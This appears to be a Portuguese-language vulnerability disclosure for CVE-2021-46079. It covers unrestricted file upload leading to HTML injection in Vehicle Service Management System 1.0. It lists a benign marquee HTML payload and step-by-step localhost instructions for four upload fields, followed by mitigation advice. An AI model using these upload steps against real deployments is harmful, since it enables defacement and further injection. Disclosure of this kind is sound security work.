CVE-2021-46079
Título do Exploit: Vehicle Service Management System - Upload de 'múltiplos' arquivos leva à Injeção de HTML
Autor do Exploit: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 ALTO
Referências:
Descrição:
Existe uma vulnerabilidade de upload de arquivo sem restrições no Sourcecodester Vehicle Service Management System 1.0. Um atacante remoto pode enviar arquivos maliciosos, levando à Injeção de HTML.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Acesse o painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salve o código html acima, por exemplo: Html Injection.html
- Na seção My Account, preencha todos os detalhes necessários e selecione o arquivo html no campo Avatar.
- Clique no botão update.
- Abra a imagem do avatar em uma nova aba.
- A Injeção de HTML é executada.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Acesse o painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção User List e clique no botão Create New.
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salve o código html acima, por exemplo: Html Injection.html
- Na página Create New User, preencha todos os detalhes necessários e selecione o arquivo html no campo Avatar.
- Clique no botão Save.
- Abra a imagem do avatar em uma nova aba.
- A Injeção de HTML é executada.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Payload:
- Acesse o painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salve o código html acima, por exemplo: Html Injection.html
- Na seção Settings, preencha todos os detalhes necessários e selecione o arquivo html no campo System Logo.
- Clique no botão update.
- Abra a imagem do System Logo em uma nova aba.
- A Injeção de HTML é executada.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Acesse o painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salve o código html acima, por exemplo: Html Injection.html
- Na seção Settings, preencha todos os detalhes necessários e selecione o arquivo html no campo Website Cover.
- Clique no botão update.
- Abra a imagem do Website Cover em uma nova aba.
- A Injeção de HTML é executada.
Impacto:
Um atacante pode enviar arquivos maliciosos em vários endpoints, o que leva à Injeção de HTML.
Mitigação:
Recomenda-se implementar o seguinte:
- Nunca aceite um nome de arquivo e sua extensão diretamente sem ter um filtro de lista de permissões.
- Se não houver necessidade de caracteres Unicode, é altamente recomendável aceitar apenas caracteres alfanuméricos e apenas um ponto como entrada para o nome do arquivo e a extensão.
- Limite o tamanho do arquivo a um valor máximo para prevenir ataques de negação de serviço.
- O diretório de upload não deve ter permissão de "execução".
- Não confie apenas na validação do lado do cliente.